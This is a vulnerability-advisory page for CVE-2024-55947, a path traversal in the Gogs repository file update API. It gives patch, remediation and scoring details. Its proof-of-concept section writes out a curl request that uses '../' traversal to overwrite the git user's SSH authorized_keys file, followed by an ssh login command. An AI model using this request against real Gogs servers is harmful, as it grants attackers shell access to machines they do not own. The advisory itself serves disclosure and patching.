CVE-2024-55947 — Path Traversal in gogs.io/gogs — CVE Details
Path Traversal in file update API in gogs
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (3.90%). Schedule for your next planned update.
Does your project use an affected gogs.io/gogs version?
Paste your go.sum to check it for CVE-2024-55947 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Patches
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
-
Generate a Personal Access Tokens
-
Edit any file on the server with this
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' -
ssh connect to remote server
ssh -i temp git@localhost -p 10022
For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Advisory Timeline
- First published December 23, 2024 (703 days ago).
- Last revised September 10, 2026 — 625 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get gogs.io/gogs@v0.13.1
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| gogs.io/gogs Go · Affected: All versions | 0.13.1 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-22Path TraversalMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55ggWEB
- https://nvd.nist.gov/vuln/detail/CVE-2024-55947ADVISORY
- https://github.com/gogs/gogs/issues/7582WEB
- https://github.com/gogs/gogs/pull/7859WEB
- https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41WEB
- https://github.com/gogs/gogsPACKAGE
Frequently Asked Questions
- What is CVE-2024-55947?
- Path Traversal in file update API in gogs. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2024-55947?
- CVE-2024-55947 affects gogs.io/gogs. It has a 3.9% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-55947 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This places it in the top 10% of EPSS-scored vulnerabilities — 91% of tracked vulnerabilities score at or below it, so it is substantially more likely to be exploited than most tracked vulnerabilities.
Also Known As
Related CVEs
- CVE-2022-2024CRITICAL
Gogs OS Command Injection vulnerability
- CVE-2026-52806CRITICAL
Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge
- CVE-2026-52798HIGH
Gogs has Stored XSS in `.ipynb` Preview
- CVE-2025-8110HIGH
Gogs vulnerable to a bypass of CVE-2024-55947
- CVE-2025-64175HIGH
Gogs Vulnerable to 2FA Bypass via Recovery Code
- CVE-2026-52797HIGH
Gogs: Overwriting critical files results in a denial of service
- CVE-2026-52800HIGH
Gogs Vulnerable to CSRF Leading to Organization Owner Takeover
- CVE-2024-54148HIGH
Remote Command Execution in file editing in gogs